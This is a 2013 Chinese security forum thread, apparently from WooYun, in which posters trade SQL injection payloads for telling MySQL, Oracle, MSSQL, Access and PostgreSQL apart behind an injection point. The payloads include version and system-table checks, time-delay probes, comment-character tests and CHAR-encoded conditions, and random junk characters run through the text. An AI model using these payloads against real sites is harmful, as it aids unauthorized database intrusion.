一个注射点如何最快速确认是什么类型数据库
$ P9 v/ ~8 U9 Wxsser (十根阳具有长短!!) | 2013-02-05 12:360 p1 G# l+ P6 Z5 u% J1 T
假设这么一个注射点:
S+ A$ \! ]2 fshow.html?id=2% q, i: u; R- I6 }
mysql:id=2 and version()>0
* p7 e6 \' @1 H; O* Horacle:id=2 and '1'||'1'='11+ H. b' @0 n' m9 Z0 y0 o" k
其他的欢迎补充
a% w8 I. a) T/ }% q4 i5 [1#
7 A: t' o0 N' g" d: Z, @) qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
& O) |+ w6 s- Z: NAccess: A Q/ U. D/ c: V; D" G0 q
aNd aSc(cHr(97))=975 A/ Q/ d3 c5 _
and exists(select id from MSysAccessObjects)- c# W$ F/ G( Q6 o e/ a
SQL Server:
0 z X C2 m s5 r3 e. K, gand exists(select id from sysobjects)# F8 @: ^% _& d6 }% ?
and length(user)>07 g n! I$ x; [) A# g5 Z
MySQL:
: z* q) j3 ?7 e: j) ?) B& G& aand length(user())>0) b1 Z% Y$ D: q0 f( G- r+ L
2#
' H; J4 n2 D$ O( U- Vxsser (十根阳具有长短!!) | 2013-02-05 12:48
6 e5 n: i: ?- @; l1 l5 ~! I8 b@upload 如果这些都不是呢…
1 s7 n A; R9 X& l+ ^3#3 T* R* S6 W; g/ e) ?! W" D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:030 k7 y& {, P: I7 e6 d& V
@xsser 不快速的,延时注入. z: |, m# N7 |
不知道这样写对不对
u% ~9 j9 I' P) A; K) @mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
' ?% G" S, S: emysql:id=2 and select benchmark(1e8,current_date());
0 s! l; D5 `" v$ T+ ?4#0 j! Y8 M4 |( y! _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10, T- O: H% v% |" P, p; H# E" G
最快的貌似是看报错信息4 O5 X) {/ n* U0 m
oracle error
+ |' g% [7 d; ~2 tmssql error. F. f4 u& @2 d; u5 R8 h8 L) ^
mysql error
& M& \5 E4 ?) J0 A' I9 C9 ?5#( r9 X4 w# N. P
Nimda (你们都是坏银~) | 2013-02-05 13:14
( [$ h: v8 j) j- q7 N8 s* f6 |$ z小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)9 ]1 O8 A4 v' \
6#
, x# b* `" Z6 d+ Z8 ^2 E1 X0 o0 iupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
' \/ D `* X, @ a+ ~+ c; x“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:, G2 C+ E" n- @3 H7 g
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
* U. R* f* ^5 F0 r“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。- H u; O) X4 ]6 Z- U3 U$ l! {3 l
7#2 W2 x5 a& S* t1 Q+ c9 O7 n6 Z
_Evil (HackEnd) | 2013-02-05 13:33
h1 l5 Y4 h7 w. ~) ePostgreSQL
) c1 F; X" X' x; E' ~0 [+ ^+ S5 D" X8#8 x6 K- M# `% X
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
; J* N# Y6 w+ J8 E切换编码 and 1=1
# W* b- R* ~+ u6 V0 K9 d# c0 horacle:' D( P9 ~1 u5 w0 M4 k7 `
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
. _( ?& z7 ^# E; Y2 Pmssql:
# F, n4 Q- U- S$ VCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
# X" j* w8 \$ M# v* smysql:% o- {. q% O/ w; v; \6 ^$ P) z% f
CHAR(97, 110, 100, 32, 49, 61, 49)
5 N) ?3 R8 J* g3 w! ^; J+ D4 T9#
) ?% d: I9 r% Pxsser (十根阳具有长短!!) | 2013-02-05 14:31
/ v; m! \4 ]( k+ W5 D' }( C$ l@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?. f% J% [1 F5 p7 A+ D
10#
" z2 U" T' ?) E1 t3 r5 pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
5 g4 s3 }% [0 U! Q% G1 S* M@xsser 是奇葩数据库类型的么?
) k# X5 ]" O% T根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:; E" {+ R/ p4 p! n
1.是否可以使用特定的函数来判断,该数据库特有的0 A5 n0 d. V: j% L' g
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
o. a' B2 q/ Z6 G, S3.是否可以编码查询2 E7 Q% Y0 Y( ^0 l
4.是否显可以利用错信息( ` Y4 |7 a% Q$ U: K P
5.是否存在数据库某些特性辅助判断' P8 G1 j0 ?: s
个人见解
3 P; @3 J) e! p- z6 G11#
, p% e9 K* f* I小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
; C8 }# j* V1 t, s2 d) v7 r已收藏,mssql可以直接看到错误提示的吧~( ~! M4 a6 H3 c) ]
12#
6 @5 h) Y) s; n. b' {1 tPasser_by | 2013-02-05 15:09 Q# D6 Q3 \9 V. x ~8 ~; l
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
$ K. G( k3 Q/ ~1 y9 _" Ufrom:http://zone.wooyun.org/content/260 |